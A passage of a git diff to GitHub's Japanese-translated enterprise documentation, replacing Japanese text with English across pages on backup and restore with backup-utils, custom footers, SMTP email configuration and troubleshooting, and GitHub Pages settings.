variables.product.prodname_enterprise_backup_utilities %}, you must have a Linux or Unix host system separate from {% data variables.product.product_location %}. -{% data variables.product.prodname_enterprise_backup_utilities %}を利用するには、{% data variables.product.product_location %}とは別のLinuxもしくはUnixホストシステムが必要です。 +You can also integrate {% data variables.product.prodname_enterprise_backup_utilities %} into an existing environment for long-term permanent storage of critical data. -{% data variables.product.prodname_enterprise_backup_utilities %}は、重要なデータのための長期的な恒久ストレージの既存環境に統合することもできます。 +We recommend that the backup host and {% data variables.product.product_location %} be geographically distant from each other. This ensures that backups are available for recovery in the event of a major disaster or network outage at the primary site. -バックアップホストと{% data variables.product.product_location %}は、地理的に離れたところに配置することをおすすめします。 そうすることで、プライマリのサイトにおける大規模な災害やネットワーク障害に際してもリカバリにバックアップが利用できることが保証されます。 +Physical storage requirements will vary based on Git repository disk usage and expected growth patterns: -物理的なストレージの要求は、Gitリポジトリのディスク利用状況と予想される成長パターンによって異なります。 +| Hardware | Recommendation | +| -------- | --------- | +| **vCPUs** | 2 | +| **Memory** | 2 GB | +| **Storage** | Five times the primary instance's allocated storage | -| ハードウェア | 推奨構成 | -| --------- | --------------------------- | -| **vCPUs** | 2 | -| **メモリ** | 2 GB | -| **ストレージ** | プライマリインスタンスに割り当てられたストレージの5倍 | +More resources may be required depending on your usage, such as user activity and selected integrations. -ユーザのアクティビティや他の製品との結合といった利用方法によっては、さらに多くのリソースが必要になることがあります。 - -## {% data variables.product.prodname_enterprise_backup_utilities %}のインストール +## Installing {% data variables.product.prodname_enterprise_backup_utilities %} {% note %} -**注意:** リカバリされたアプライアンスがすぐに利用できることを保証するために、Geo-replication構成の場合であってもプライマリインスタンスをターゲットとしたバックアップを実行してください。 +**Note:** To ensure a recovered appliance is immediately available, perform backups targeting the primary instance even in a Geo-replication configuration. {% endnote %} -1. 最新の[{% data variables.product.prodname_enterprise_backup_utilities %}リリース](https://github.com/github/backup-utils/releases)をダウンロードし、`tar`コマンドで展開してください。 +1. Download the latest [{% data variables.product.prodname_enterprise_backup_utilities %} release](https://github.com/github/backup-utils/releases) and extract the file with the `tar` command. ```shell - $ tar -xzvf /path/to/github-backup-utils-vMAJOR.MINOR.PATCH.tar.gz + $ tar -xzvf /path/to/github-backup-utils-vMAJOR.MINOR.PATCH.tar.gz ``` -2. 含まれている `backup.config-example` ファイルを `backup.config` にコピーして、エディタで開きます。 -3. `GHE_HOSTNAME` の値をプライマリの {% data variables.product.prodname_ghe_server %} インスタンスのホスト名あるいは IP アドレスに設定します。 +2. Copy the included `backup.config-example` file to `backup.config` and open in an editor. +3. Set the `GHE_HOSTNAME` value to your primary {% data variables.product.prodname_ghe_server %} instance's hostname or IP address. {% note %} @@ -72,33 +71,33 @@ topics: {% endnote %} -4. `GHE_DATA_DIR` の値をバックアップスナップショットを保存したいファイルシステムの場所に設定します。 -5. `https://HOSTNAME/setup/settings` にあるプライマリインスタンスの設定ページを開き、バックアップホストの SSH キーを認証済みの SSH キーのリストに追加します。 詳しい情報については、「[管理シェル (SSH) にアクセスする](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)」を参照してください。 -6. `ghe-host-check` コマンドで、{% data variables.product.product_location %} との SSH 接続を確認します。 +4. Set the `GHE_DATA_DIR` value to the filesystem location where you want to store backup snapshots. +5. Open your primary instance's settings page at `https://HOSTNAME/setup/settings` and add the backup host's SSH key to the list of authorized SSH keys. For more information, see [Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/). +6. Verify SSH connectivity with {% data variables.product.product_location %} with the `ghe-host-check` command. ```shell - $ bin/ghe-host-check - ``` - 7. 最初のフルバックアップを作成するには、`ghe-backup` コマンドを実行します。 + $ bin/ghe-host-check + ``` + 7. To create an initial full backup, run the `ghe-backup` command. ```shell - $ bin/ghe-backup + $ bin/ghe-backup ``` -高度な使い方に関する詳しい情報については、[{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme)を参照してください。 +For more information on advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme). -## バックアップのスケジューリング +## Scheduling a backup -バックアップのスケジュールを設定する `cron(8)` コマンドや同様のコマンドスケジューリングサービスを使用すれば、バックアップホストで定期的なバックアップをスケジュール設定できます。 設定されたバックアップ頻度によって、リカバリー計画での最悪の目標復旧ポイント (RPO) が決まります。 たとえば、毎日午前 0 時にバックアップを実行するようにスケジュール設定した場合、災害のシナリオで最大 24 時間分のデータが失われる可能性があります。 プライマリサイトのデータが破壊された場合に、最悪でも最大 1 時間分のデータ損失で収まることが保証されるように、1 時間ごとのバックアップスケジュールから始めることをおすすめします。 +You can schedule regular backups on the backup host using the `cron(8)` command or a similar command scheduling service. The configured backup frequency will dictate the worst case recovery point objective (RPO) in your recovery plan. For example, if you have scheduled the backup to run every day at midnight, you could lose up to 24 hours of data in a disaster scenario. We recommend starting with an hourly backup schedule, guaranteeing a worst case maximum of one hour of data loss if the primary site data is destroyed. -バックアップの試行が重複すると、`ghe-backup` コマンドはエラーメッセージを表示して中断し、同時バックアップが存在することを示します。 そのような場合は、スケジュール設定したバックアップの頻度を減らすことをおすすめします。 詳しい情報については、[{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups) の「スケジューリングバックアップ」を参照してください。 +If backup attempts overlap, the `ghe-backup` command will abort with an error message, indicating the existence of a simultaneous backup. If this occurs, we recommended decreasing the frequency of your scheduled backups. For more information, see the "Scheduling backups" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups). -## バックアップのリストア +## Restoring a backup -万が一、プライマリサイトで長時間の停止または壊滅的なイベントが発生した場合は、別の {% data variables.product.prodname_enterprise %} アプライアンスをプロビジョニングしてバックアップホストから復元を実行することで、{% data variables.product.product_location %} を復元できます。 アプライアンスを復元する前に、バックアップホストの SSH キーをターゲットの {% data variables.product.prodname_enterprise %} アプライアンスに認証済み SSH キーとして追加する必要があります。 +In the event of prolonged outage or catastrophic event at the primary site, you can restore {% data variables.product.product_location %} by provisioning another {% data variables.product.prodname_enterprise %} appliance and performing a restore from the backup host. You must add the backup host's SSH key to the target {% data variables.product.prodname_enterprise %} appliance as an authorized SSH key before restoring an appliance. {% ifversion ghes %} {% note %} -**注釈:** {% data variables.product.product_location %} で {% data variables.product.prodname_actions %} が有効になっている場合は、`ghe-restore` コマンドを実行する前に、まず交換用アプライアンスで {% data variables.product.prodname_actions %} 外部ストレージプロバイダを設定する必要があります。 詳しい情報については、「[{% data variables.product.prodname_actions %} を有効にして {% data variables.product.prodname_ghe_server %} をバックアップおよび復元する](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)」を参照してください。 +**Note:** If {% data variables.product.product_location %} has {% data variables.product.prodname_actions %} enabled, you must first configure the {% data variables.product.prodname_actions %} external storage provider on the replacement appliance before running the `ghe-restore` command. For more information, see "[Backing up and restoring {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_actions %} enabled](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)." {% endnote %} {% endif %} @@ -111,7 +110,7 @@ For example, if you take a backup from GHES 3.0.x, you can restore it into a GHE {% endnote %} -最後に成功したスナップショットから {% data variables.product.product_location %} を復元するには、`ghe-restore` コマンドを使用します。 以下と同じような出力が表示されるでしょう: +To restore {% data variables.product.product_location %} from the last successful snapshot, use the `ghe-restore` command. You should see output similar to this: ```shell $ ghe-restore -c 169.154.1.1 @@ -132,10 +131,10 @@ $ ghe-restore -c 169.154.1.1 {% note %} -**メモ:** ネットワーク設定はバックアップのスナップショットから除外されます。 ご使用の環境に合わせて、ターゲットの {% data variables.product.prodname_ghe_server %} アプライアンスでネットワークを手動で設定する必要があります。 +**Note:** The network settings are excluded from the backup snapshot. You must manually configure the network on the target {% data variables.product.prodname_ghe_server %} appliance as required for your environment. {% endnote %} -以下の追加オプションは、`ghe-restore` コマンドで使用できます。 -- `-c` フラグは、すでに設定されている場合でも、ターゲットホストで設定、証明書、およびライセンスデータを上書きします。 テストのためにステージングインスタンスを設定しており、ターゲット上の依存の設定を残しておきたい場合には、このフラグを省いてください。 詳しい情報については[{% data variables.product.prodname_enterprise_backup_utilities %}README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands)の"バックアップ及びリストアコマンドの利用"セクションを参照してください。 -- `-s` フラグにより、異なるバックアップスナップショットを選択できます。 +You can use these additional options with `ghe-restore` command: +- The `-c` flag overwrites the settings, certificate, and license data on the target host even if it is already configured. Omit this flag if you are setting up a staging instance for testing purposes and you wish to retain the existing configuration on the target. For more information, see the "Using using backup and restore commands" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands). +- The `-s` flag allows you to select a different backup snapshot. diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md new file mode 100644 index 0000000000..c334869985 --- /dev/null +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md @@ -0,0 +1,38 @@ +--- +title: Configuring custom footers +intro: 'You can give users easy access to enterprise-specific links by adding custom footers to {% data variables.product.product_name %}.' +versions: + ghec: '*' + ghes: '>=3.4' +type: how_to +topics: + - Enterprise + - Fundamentals +shortTitle: Configure custom footers +--- +Enterprise owners can configure {% data variables.product.product_name %} to show custom footers with up to five additional links. + +![Custom footer](/assets/images/enterprise/custom-footer/octodemo-footer.png) + +The custom footer is displayed above the {% data variables.product.prodname_dotcom %} footer {% ifversion ghes or ghae %}to all users, on all pages of {% data variables.product.product_name %}{% else %}to all enterprise members and collaborators, on all repository and organization pages for repositories and organizations that belong to the enterprise{% endif %}. + +## Configuring custom footers for your enterprise + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} + +1. Under "Settings", click **Profile**. +{%- ifversion ghec %} +![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghec.png) +{%- else %} +![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png) +{%- endif %} + +1. At the top of the Profile section, click **Custom footer**. +![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png) + +1. Add up to five links in the fields shown. +![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png) + +1. Click **Update custom footer** to save the content and display the custom footer. +![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png) diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md index 79238b350b..908386931e 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md @@ -1,6 +1,6 @@ --- -title: 通知のためのメール設定 -intro: 'ユーザが {% data variables.product.product_name %} のアクティビティにすばやく応答できるようにするために、{% data variables.product.product_location %} を設定して、Issue、プルリクエスト、およびコミットコメントのメール通知を送信できます。' +title: Configuring email for notifications +intro: 'To make it easy for users to respond quickly to activity on {% data variables.product.product_name %}, you can configure {% data variables.product.product_location %} to send email notifications for issue, pull request, and commit comments.' redirect_from: - /enterprise/admin/guides/installation/email-configuration/ - /enterprise/admin/articles/configuring-email/ @@ -19,79 +19,94 @@ topics: - Notifications shortTitle: Configure email notifications --- - {% ifversion ghae %} -Enterprise オーナーは、通知用のメールを設定できます。 +Enterprise owners can configure email for notifications. {% endif %} -## Enterprise 向けの SMTP を設定する +## Configuring SMTP for your enterprise {% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -2. ページの上部で**Settings（設定）**をクリックしてください。 ![設定タブ](/assets/images/enterprise/management-console/settings-tab.png) -3. 左のサイドバーで **Email（メール）**をクリックしてください。 ![メールタブ](/assets/images/enterprise/management-console/email-sidebar.png) -4. **Enable email（メールの有効化）**を選択してください。 これでアウトバウンドとインバウンドのメールがどちらも有効化されますが、インバウンドのメールが動作するには[着信メールを許可する DNS とファイアウォールの設定](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)に記述されているように DNS を設定する必要もあります。 ![アウトバウンドメールの有効化](/assets/images/enterprise/management-console/enable-outbound-email.png) -5. SMTP サーバーの設定を入力します。 - - [**Server address**] フィールドに SMTP サーバのアドレスを入力します。 - - [**Port**] フィールドには、SMTP サーバがメールを送信するのに使用するポートを入力します。 - - [**Domain**] フィールドには、SMTP サーバが HELO レスポンスを送信するドメイン名があれば入力してください。 - - [**Authentication**] ドロップダウンを選択し、SMTP サーバーで使用される暗号化の種類を選択します。 - - [**No-reply email address（No-replyメールアドレス）**] フィールドには、すべての通知メールの From および To フィールドに使うメールアドレスを入力してください。 -6. no-replyメールアドレスへの着信メールをすべて破棄したい場合には、**Discard email addressed to the no-reply email address（no-replyメールアドレスへのメールの破棄）**を選択してください。 ![no-reply メールアドレス宛のメールを廃棄するチェックボックス](/assets/images/enterprise/management-console/discard-noreply-emails.png) -7. [**Support**] で、リンクの種類を選択してユーザに追加のサポートを提供します。 - - **Email（メール）：** 内部的なメールアドレス。 - - **URL:** 内部的なサポートサイトへのリンク。 `http://` または `https://` を含める必要があります。 ![サポートのメールあるいは URL](/assets/images/enterprise/management-console/support-email-url.png) -8. [メール配信のテスト](#testing-email-delivery)。 +2. At the top of the page, click **Settings**. +![Settings tab](/assets/images/enterprise/management-console/settings-tab.png) +3. In the left sidebar, click **Email**. +![Email tab](/assets/images/enterprise/management-console/email-sidebar.png) +4. Select **Enable email**. This will enable both outbound and inbound email, however for inbound email to work you will also need to configure your DNS settings as described below in "[Configuring DNS and firewall +settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." +![Enable outbound email](/assets/images/enterprise/management-console/enable-outbound-email.png) +5. Type the settings for your SMTP server. + - In the **Server address** field, type the address of your SMTP server. + - In the **Port** field, type the port that your SMTP server uses to send email. + - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. + - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. + - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. +6. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. +![Checkbox to discard emails addressed to the no-reply email address](/assets/images/enterprise/management-console/discard-noreply-emails.png) +7. Under **Support**, choose a type of link to offer additional support to your users. + - **Email:** An internal email address. + - **URL:** A link to an internal support site. You must include either `http://` or `https://`. + ![Support email or URL](/assets/images/enterprise/management-console/support-email-url.png) +8. [Test email delivery](#testing-email-delivery). {% elsif ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.email-tab %} -2. **Enable email（メールの有効化）**を選択してください。 ![メール設定の [Enable] チェックボックス](/assets/images/enterprise/configuration/ae-enable-email-configure.png) -3. メールサーバーの設定を入力します。 - - [**Server address**] フィールドに SMTP サーバのアドレスを入力します。 - - [**Port**] フィールドには、SMTP サーバがメールを送信するのに使用するポートを入力します。 - - [**Domain**] フィールドには、SMTP サーバが HELO レスポンスを送信するドメイン名があれば入力してください。 - - [**Authentication**] ドロップダウンを選択し、SMTP サーバーで使用される暗号化の種類を選択します。 - - [**No-reply email address（No-replyメールアドレス）**] フィールドには、すべての通知メールの From および To フィールドに使うメールアドレスを入力してください。 -4. no-replyメールアドレスへの着信メールをすべて破棄したい場合には、**Discard email addressed to the no-reply email address（no-replyメールアドレスへのメールの破棄）**を選択してください。 ![メール設定の [Discard] チェックボックス](/assets/images/enterprise/configuration/ae-discard-email.png) -5. [**Test email settings**] をクリックします。 ![メール設定の [Test email settings] ボタン](/assets/images/enterprise/configuration/ae-test-email.png) -6. [Send test email to] で、テストメールを送信するメールアドレスを入力し、[**Send test email**] をクリックします。 ![メール設定の [Send test email] ボタン](/assets/images/enterprise/configuration/ae-send-test-email.png) -7. [**Save**] をクリックします。 ![Enterprise サポート連絡先設定の [Save] ボタン](/assets/images/enterprise/configuration/ae-save.png) +2. Select **Enable email**. + !["Enable" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-enable-email-configure.png) +3. Type the settings for your email server. + - In the **Server address** field, type the address of your SMTP server. + - In the **Port** field, type the port that your SMTP server uses to send email. + - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. + - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. + - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. +4. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. + !["Discard" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-discard-email.png) +5. Click **Test email settings**. + !["Test email settings" button for email settings configuration](/assets/images/enterprise/configuration/ae-test-email.png) +6. Under "Send test email to," type the email address where you want to send a test email, then click **Send test email**. + !["Send test email" button for email settings configuration](/assets/images/enterprise/configuration/ae-send-test-email.png) +7. Click **Save**. + !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png) {% endif %} {% ifversion ghes %} -## メール配信のテスト +## Testing email delivery -1. **Email（メール）**セクションの上部で、**Test email settings（メール設定のテスト）**をクリックしてください。 ![メール設定のテスト](/assets/images/enterprise/management-console/test-email.png) -2. **Send test email to（テストメールの送信先）**フィールドに、テストメールを送信するアドレスを入力してください。 ![メールアドレスのテスト](/assets/images/enterprise/management-console/test-email-address.png) -3. **Send test email（テストメールの送信）**をクリックしてください。 ![テストメールの送信](/assets/images/enterprise/management-console/test-email-address-send.png) +1. At the top of the **Email** section, click **Test email settings**. +![Test email settings](/assets/images/enterprise/management-console/test-email.png) +2. In the **Send test email to** field, type an address to send the test email to. +![Test email address](/assets/images/enterprise/management-console/test-email-address.png) +3. Click **Send test email**. +![Send test email](/assets/images/enterprise/management-console/test-email-address-send.png) {% tip %} - **Tip：**即時の配信失敗や送出メール設定のエラーなど、テストメールの送信時にSMTPエラーが生じたなら、それらはTest email settingsダイアログボックスに表示されます。 + **Tip:** If SMTP errors occur while sending a test email—such as an immediate delivery failure or an outgoing mail configuration error—you will see them in the Test email settings dialog box. {% endtip %} -4. テストメールが失敗したなら[メール設定のトラブルシューティング](#troubleshooting-email-delivery)をしてください。 -5. テストメールが成功したなら、ページの下部で**Save settings（設定の保存）**をクリックしてください。 ![設定保存のボタン](/assets/images/enterprise/management-console/save-settings.png) -6. 設定の実行が完了するのを待ってください。 ![インスタンスの設定](/assets/images/enterprise/management-console/configuration-run.png) +4. If the test email fails, [troubleshoot your email settings](#troubleshooting-email-delivery). +5. When the test email succeeds, at the bottom of the page, click **Save settings**. +![Save settings button](/assets/images/enterprise/management-console/save-settings.png) +6. Wait for the configuration run to complete. +![Configuring your instance](/assets/images/enterprise/management-console/configuration-run.png) -## メール着信を許可する DNS とファイアウォールの設定 +## Configuring DNS and firewall settings to allow incoming emails -通知へのメールでの返信を許可したいなら、DNSを設定しなければなりません。 +If you want to allow email replies to notifications, you must configure your DNS settings. -1. インスタンスのポート25がSMTPサーバにアクセスできることを確認してください。 -2. `reply.[hostname]`を指すAレコードを作成してください。 DNSプロバイダとインスタンスのホスト設定によっては、 `*.[hostname]`を指す単一のAレコードを作成できる場合があります。 -3. `reply.[hostname]`を指すMXレコードを作成して、このドメインへのメールがインスタンスにルーティングされるようにしてください。 -4. `noreply.[hostname]` が `[hostname]` を指すようにする MX レコードを作成し、 通知メールの `cc` アドレスへの返信がインスタンスにルーティングされるようにしてください。 詳しい情報については、{% ifversion ghes %}「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}「[メール通知について](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}」を参照してください。 +1. Ensure that port 25 on the instance is accessible to your SMTP server. +2. Create an A record that points to `reply.[hostname]`. Depending on your DNS provider and instance host configuration, you may be able to instead create a single A record that points to `*.[hostname]`. +3. Create an MX record that points to `reply.[hostname]` so that emails to that domain are routed to the instance. +4. Create an MX record that points `noreply.[hostname]` to `[hostname]` so that replies to the `cc` address in notification emails are routed to the instance. For more information, see {% ifversion ghes %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}"[About email notifications](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}." -## メール配信のトラブルシューティング +## Troubleshooting email delivery -### Support Bundleの作成 +### Create a Support Bundle -表示されたエラーメッセージから何が悪いのかを判断できない場合、メールサーバと {% data variables.product.prodname_ghe_server %} 間の SMTP のやりとりすべてを含む [Support Bundle](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/providing-data-to-github-support) をダウンロードできます。 Support Bundleをダウンロードして展開したら、完全なSMTPのやりとりのログと関連するエラーを探して*enterprise-manage-logs/unicorn.log*のエントリをチェックしてください。 +If you cannot determine what is wrong from the displayed error message, you can download a [support bundle](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/providing-data-to-github-support) containing the entire SMTP conversation between your mail server and {% data variables.product.prodname_ghe_server %}. Once you've downloaded and extracted the bundle, check the entries in *enterprise-manage-logs/unicorn.log* for the entire SMTP conversation log and any related errors. -unicornログは以下のようなトランザクションになっているはずです。 +The unicorn log should show a transaction similar to the following: ```shell This is a test email generated from https://10.0.0.68/setup/settings @@ -123,18 +138,18 @@ TLS connection started -> "535 5.7.1 http://support.yourdomain.com/smtp/auth-not-accepted nt3sm2942435pbc.14\r\n" ``` -このログからは、アプライアンスについて以下のことが分かります。 +This log shows that the appliance: -* SMTPサーバとのコネクションを開いている（`Connection opened: smtp.yourdomain.com:587`）。 -* コネクションの作成には成功し、TLSの使用を選択している（`TLS connection started`）。 -* `login`認証が実行されている（`<- "AUTH LOGIN\r\n"`）。 -* SMTPサーバは、認証を不正として拒否している（`-> "535-5.7.1 Username and Password not accepted.`）。 +* Opened a connection with the SMTP server (`Connection opened: smtp.yourdomain.com:587`). +* Successfully made a connection and chose to use TLS (`TLS connection started`). +* The `login` authentication type was performed (`<- "AUTH LOGIN\r\n"`). +* The SMTP Server rejected the authentication as invalid (`-> "535-5.7.1 Username and Password not accepted.`). -### {% data variables.product.product_location %}ログのチェック +### Check {% data variables.product.product_location %} logs -インバウンドのメールが機能していることを検証する必要がある場合、インスタンスの */var/log/mail.log* と */var/log/mail-replies/metroplex.log* との 2 つのログファイルを検証してください。 +If you need to verify that your inbound email is functioning, there are two log files that you can examine on your instance: To verify that */var/log/mail.log* and */var/log/mail-replies/metroplex.log*. -*/var/log/mail.log* は、メッセージがサーバーに到達したかを検証します。 以下は、成功したメールの返信の例です: +*/var/log/mail.log* verifies that messages are reaching your server. Here's an example of a successful email reply: ``` Oct 30 00:47:18 54-171-144-1 postfix/smtpd[13210]: connect from st11p06mm-asmtp002.mac.com[17.172.124.250] @@ -146,9 +161,9 @@ Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: removed Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asmtp002.mac.com[17.172.124.250] ``` -クライアントがまず接続し、続いてキューがアクティブになっていることに注意してください。 そしてメッセージが配信され、クライアントがキューから削除され、セッションが切断されています。 +Note that the client first connects; then, the queue becomes active. Then, the message is delivered, the client is removed from the queue, and the session disconnects. -*/var/log/mail-replies/metroplex.log* は、インバウンドのメールが Issue やプルリクエストに返信として追加されるよう処理されているかを示します。 以下は成功したメッセージの例です: +*/var/log/mail-replies/metroplex.log* shows whether inbound emails are being processed to add to issues and pull requests as replies. Here's an example of a successful message: ``` [2014-10-30T00:47:23.306 INFO (5284) #] metroplex: processing @@ -156,19 +171,19 @@ Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asm [2014-10-30T00:47:23.334 DEBUG (5284) #] Moving /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie => /data/user/incoming-mail/success ``` -`metroplex` がインバウンドのメッセージをキャッチして処理し、ファイルを `/data/user/incoming-mail/success` に移動します。{% endif %} +You'll notice that `metroplex` catches the inbound message, processes it, then moves the file over to `/data/user/incoming-mail/success`.{% endif %} -### DNS設定の検証 +### Verify your DNS settings -インバウンドのメールを適切に処理するには、適切にAレコード（あるいはCNAME）と共にMXレコードを設定しなければなりません。 詳しい情報については、「[着信メールを許可するよう DNS およびファイアウォールを設定する](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)」を参照してください。 +In order to properly process inbound emails, you must configure a valid A Record (or CNAME), as well as an MX Record. For more information, see "[Configuring DNS and firewall settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." -### ファイアウォールあるいはAWSセキュリティグループの設定のチェック +### Check firewall or AWS Security Group settings -{% data variables.product.product_location %}がファイアウォールの背後にあったり、AWSのセキュリティグループを通じてアクセスされていたりするなら、`reply@reply.[hostname]`にメールを送信するすべてのメールサーバーに対してポート25がオープンされていることを確かめてください。 +If {% data variables.product.product_location %} is behind a firewall or is being served through an AWS Security Group, make sure port 25 is open to all mail servers that send emails to `reply@reply.[hostname]`. -### サポートへの連絡 +### Contact support {% ifversion ghes %} -依然として問題が解決できない場合は、{% data variables.contact.contact_ent_support %} に連絡してください。 問題のトラブルシューティングを支援するため、メールには`http(s)://[hostname]/setup/diagnostics`からの出力ファイルを添付してください。 +If you're still unable to resolve the problem, contact {% data variables.contact.contact_ent_support %}. Please attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email to help us troubleshoot your problem. {% elsif ghae %} -You can contact {% data variables.contact.github_support %} for help configuring email for notifications to be sent through your SMTP server. 詳しい情報については、「[{% data variables.contact.github_support %} からの支援を受ける](/admin/enterprise-support/receiving-help-from-github-support)」を参照してください。 +You can contact {% data variables.contact.github_support %} for help configuring email for notifications to be sent through your SMTP server. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." {% endif %} diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md index d5c6eedeb0..d5d41ee13a 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enterprise 向けの GitHub Pages を設定する -intro: 'Enterprise の {% data variables.product.prodname_pages %} を有効または無効にして、サイトを公開するかどうかを選択できます。' +title: Configuring GitHub Pages for your enterprise +intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.' redirect_from: - /enterprise/admin/guides/installation/disabling-github-enterprise-pages/ - /enterprise/admin/guides/installation/configuring-github-enterprise-pages/ @@ -19,52 +19,51 @@ topics: shortTitle: Configure GitHub Pages --- -## {% data variables.product.prodname_pages %} の公開サイトを有効にする +{% ifversion ghes %} -{% ifversion ghes %} Enterprise でプライベートモードが有効になっている場合、{% else %}公開{% endif %}は、公開サイトを有効にしない限り、Enterprise がホストする {% data variables.product.prodname_pages %} サイトにアクセスできません。 +## Enabling public sites for {% data variables.product.prodname_pages %} + +If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites. {% warning %} -**Warning:** {% data variables.product.prodname_pages %} の公開サイトを有効にすると、Enterprise のすべてのリポジトリ内のすべてのサイトに一般ユーザがアクセスできるようになります。 +**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public. {% endwarning %} -{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} -4. **Public Pages（公開ページ）**を選択してください。 ![[Public Pages] を有効化するチェックボックス](/assets/images/enterprise/management-console/public-pages-checkbox.png) +4. Select **Public Pages**. + ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -{% elsif ghae %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.pages-tab %} -5. [Pages policies] で [**Public {% data variables.product.prodname_pages %}**] を選択します。 ![{% data variables.product.prodname_pages %} を有効化するチェックボックス](/assets/images/enterprise/business-accounts/public-github-pages-checkbox.png) -{% data reusables.enterprise-accounts.pages-policies-save %} -{% endif %} -## Enterprise 向けの {% data variables.product.prodname_pages %} を無効にする +## Disabling {% data variables.product.prodname_pages %} for your enterprise -{% ifversion ghes %} -If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. 詳しい情報については、「[Subdomain Isolation の有効化](/admin/configuration/enabling-subdomain-isolation)」を参照してください。 -{% endif %} +If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)." -{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} -4. **Enable Pages（ページの有効化）**の選択を解除してください。 ![{% data variables.product.prodname_pages %} を無効化するチェックボックス](/assets/images/enterprise/management-console/pages-select-button.png) +4. Unselect **Enable Pages**. + 